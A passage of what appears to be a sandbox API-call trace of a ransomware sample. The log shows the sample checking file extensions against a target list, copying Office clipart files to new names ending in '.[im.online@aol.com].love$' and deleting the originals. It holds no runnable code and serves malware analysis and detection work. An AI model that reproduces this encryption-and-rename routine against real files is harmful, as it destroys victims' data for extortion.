returned -1 [0249.079] lstrlenW (lpString=".7z") returned 3 [0249.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0249.079] lstrlenW (lpString=".dbf") returned 4 [0249.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0249.079] lstrlenW (lpString=".1cd") returned 4 [0249.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0249.079] lstrlenW (lpString=".jpg") returned 4 [0249.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0249.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0249.080] lstrlenW (lpString=".doc") returned 4 [0249.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.080] lstrlenW (lpString=".docx") returned 5 [0249.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.080] lstrlenW (lpString=".pdf") returned 4 [0249.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.080] lstrlenW (lpString=".xls") returned 4 [0249.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.080] lstrlenW (lpString=".xlsx") returned 5 [0249.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.080] lstrlenW (lpString=".ppt") returned 4 [0249.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0249.080] lstrlenW (lpString=".zip") returned 4 [0249.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.080] lstrlenW (lpString=".rar") returned 4 [0249.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.080] lstrlenW (lpString=".bz2") returned 4 [0249.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.080] lstrlenW (lpString=".7z") returned 3 [0249.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0249.080] lstrlenW (lpString=".dbf") returned 4 [0249.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0249.080] lstrlenW (lpString=".1cd") returned 4 [0249.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0249.081] lstrlenW (lpString=".jpg") returned 4 [0249.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.081] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0249.081] lstrlenW (lpString="FD00403_.WMF") returned 12 [0249.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0249.283] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=7878) returned 1 [0249.283] CloseHandle (hObject=0x45c) returned 1 [0249.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220 [0250.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0250.236] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.236] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.237] GetLastError () returned 0x0 [0250.237] ReadFile (in: hFile=0x4e4, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1ec6, lpOverlapped=0x0) returned 1 [0250.257] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0250.259] ReadFile (in: hFile=0x4e4, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0250.259] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0250.259] SetEndOfFile (hFile=0x45c) returned 1 [0250.259] CloseHandle (hObject=0x45c) returned 1 [0250.259] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.260] SetEndOfFile (hFile=0x4e4) returned 1 [0250.263] CloseHandle (hObject=0x4e4) returned 1 [0250.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0250.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0250.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0250.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0250.265] lstrlenW (lpString=".doc") returned 4 [0250.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.265] lstrlenW (lpString=".docx") returned 5 [0250.265] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.265] lstrlenW (lpString=".pdf") returned 4 [0250.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.265] lstrlenW (lpString=".xls") returned 4 [0250.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.265] lstrlenW (lpString=".xlsx") returned 5 [0250.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.265] lstrlenW (lpString=".ppt") returned 4 [0250.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0250.266] lstrlenW (lpString=".zip") returned 4 [0250.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.266] lstrlenW (lpString=".rar") returned 4 [0250.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.266] lstrlenW (lpString=".bz2") returned 4 [0250.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.266] lstrlenW (lpString=".7z") returned 3 [0250.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0250.266] lstrlenW (lpString=".dbf") returned 4 [0250.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0250.266] lstrlenW (lpString=".1cd") returned 4 [0250.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0250.266] lstrlenW (lpString=".jpg") returned 4 [0250.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0250.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0250.266] lstrlenW (lpString=".doc") returned 4 [0250.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.266] lstrlenW (lpString=".docx") returned 5 [0250.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.266] lstrlenW (lpString=".pdf") returned 4 [0250.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.267] lstrlenW (lpString=".xls") returned 4 [0250.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.267] lstrlenW (lpString=".xlsx") returned 5 [0250.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.267] lstrlenW (lpString=".ppt") returned 4 [0250.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0250.267] lstrlenW (lpString=".zip") returned 4 [0250.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.267] lstrlenW (lpString=".rar") returned 4 [0250.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.267] lstrlenW (lpString=".bz2") returned 4 [0250.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.267] lstrlenW (lpString=".7z") returned 3 [0250.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0250.267] lstrlenW (lpString=".dbf") returned 4 [0250.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0250.267] lstrlenW (lpString=".1cd") returned 4 [0250.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0250.267] lstrlenW (lpString=".jpg") returned 4 [0250.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.268] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0250.268] lstrlenW (lpString="FD00544_.WMF") returned 12 [0250.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0250.292] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=5260) returned 1 [0250.292] CloseHandle (hObject=0x538) returned 1 [0250.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220 [0250.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0250.293] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.293] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0250.299] GetLastError () returned 0x0 [0250.299] ReadFile (in: hFile=0x538, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x148c, lpOverlapped=0x0) returned 1 [0250.312] WriteFile (in: hFile=0x540, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1490, lpOverlapped=0x0) returned 1 [0250.314] ReadFile (in: hFile=0x538, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0250.314] WriteFile (in: hFile=0x540, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0250.314] SetEndOfFile (hFile=0x540) returned 1 [0250.314] CloseHandle (hObject=0x540) returned 1 [0250.314] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.314] SetEndOfFile (hFile=0x538) returned 1 [0250.319] CloseHandle (hObject=0x538) returned 1 [0250.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0250.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0250.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0250.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0250.321] lstrlenW (lpString=".doc") returned 4 [0250.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.321] lstrlenW (lpString=".docx") returned 5 [0250.321] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.321] lstrlenW (lpString=".pdf") returned 4 [0250.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.321] lstrlenW (lpString=".xls") returned 4 [0250.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.321] lstrlenW (lpString=".xlsx") returned 5 [0250.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.322] lstrlenW (lpString=".ppt") returned 4 [0250.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0250.322] lstrlenW (lpString=".zip") returned 4 [0250.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.322] lstrlenW (lpString=".rar") returned 4 [0250.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.322] lstrlenW (lpString=".bz2") returned 4 [0250.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.322] lstrlenW (lpString=".7z") returned 3 [0250.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0250.322] lstrlenW (lpString=".dbf") returned 4 [0250.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0250.322] lstrlenW (lpString=".1cd") returned 4 [0250.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0250.322] lstrlenW (lpString=".jpg") returned 4 [0250.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0250.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0250.322] lstrlenW (lpString=".doc") returned 4 [0250.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.322] lstrlenW (lpString=".docx") returned 5 [0250.323] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.323] lstrlenW (lpString=".pdf") returned 4 [0250.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.323] lstrlenW (lpString=".xls") returned 4 [0250.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.323] lstrlenW (lpString=".xlsx") returned 5 [0250.323] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.323] lstrlenW (lpString=".ppt") returned 4 [0250.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0250.323] lstrlenW (lpString=".zip") returned 4 [0250.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.323] lstrlenW (lpString=".rar") returned 4 [0250.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.323] lstrlenW (lpString=".bz2") returned 4 [0250.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.323] lstrlenW (lpString=".7z") returned 3 [0250.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0250.323] lstrlenW (lpString=".dbf") returned 4 [0250.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0250.323] lstrlenW (lpString=".1cd") returned 4 [0250.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0250.323] lstrlenW (lpString=".jpg") returned 4 [0250.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.324] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0250.324] lstrlenW (lpString="FD00564_.WMF") returned 12 [0250.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0250.325] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=896) returned 1 [0250.325] CloseHandle (hObject=0x538) returned 1 [0250.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220 [0250.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0250.326] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.326] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0250.327] GetLastError () returned 0x0 [0250.327] ReadFile (in: hFile=0x538, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x380, lpOverlapped=0x0) returned 1 [0250.329] WriteFile (in: hFile=0x540, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x390, lpOverlapped=0x0) returned 1 [0250.330] ReadFile (in: hFile=0x538, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0250.330] WriteFile (in: hFile=0x540, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0250.330] SetEndOfFile (hFile=0x540) returned 1 [0250.331] CloseHandle (hObject=0x540) returned 1 [0250.331] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.331] SetEndOfFile (hFile=0x538) returned 1 [0250.335] CloseHandle (hObject=0x538) returned 1 [0250.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0250.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0250.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0250.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0250.337] lstrlenW (lpString=".doc") returned 4 [0250.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.338] lstrlenW (lpString=".docx") returned 5 [0250.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.338] lstrlenW (lpString=".pdf") returned 4 [0250.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.338] lstrlenW (lpString=".xls") returned 4 [0250.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.338] lstrlenW (lpString=".xlsx") returned 5 [0250.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.338] lstrlenW (lpString=".ppt") returned 4 [0250.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0250.338] lstrlenW (lpString=".zip") returned 4 [0250.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.338] lstrlenW (lpString=".rar") returned 4 [0250.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.338] lstrlenW (lpString=".bz2") returned 4 [0250.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.338] lstrlenW (lpString=".7z") returned 3 [0250.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0250.338] lstrlenW (lpString=".dbf") returned 4 [0250.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.338] lstrlenW (lpString="C:\\Program Files\\Microsoft 